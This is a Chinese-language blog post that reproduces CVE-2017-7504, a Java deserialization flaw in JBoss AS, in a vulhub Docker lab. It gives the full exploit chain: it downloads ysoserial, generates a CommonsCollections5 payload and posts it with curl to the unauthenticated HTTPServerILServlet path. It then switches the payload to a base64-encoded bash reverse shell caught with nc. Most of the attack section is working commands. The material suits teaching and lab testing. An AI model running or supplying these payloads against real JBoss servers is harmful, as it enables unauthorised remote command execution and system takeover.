影响范围:

  • JBoss AS 3.2.0 - 4.2.3.GA

漏洞类型:

Java反序列化

操作系统限制:

配置要求:

默认配置

漏洞利用:

命令执行,反弹shell

利用原理:

JBoss AS默认集成了一个用于HTTP协议传输信息的组件JBossMQ,其组件含有一个名为HTTPServerILServlet的接口,该接口访问路径/jbossmq-httpil/HTTPServerILServlet无需校验即可访问,Servlet处理POST请求数据时,直接调用readObject()方法来反序列化数据流,且未对传入对象进行安全过滤或白名单限制,攻击者利用yoserial工具生成恶意系列化二进制数据,通过HTTP请求发送到靶机,JBoss解析对象时自动触发对象内部嵌套的恶意代码

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/jboss/CVE-2017-7504
#拉取镜像
docker-compose up -d

下载攻击工具并检查是否有Java环境

# 下载编译好的 jar 包
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version

使用ysoserial生成序列化数据

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.ser

用curl发送payload

curl http://靶机ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @payload.ser

进入容器查看tmp文件夹,发现success,说明成功复现漏洞

下面进行反弹shell,开启nc监听

把执行命令换成反弹shell

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.ser

发送攻击payload

成功连接


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE JBoss
喜欢就支持一下吧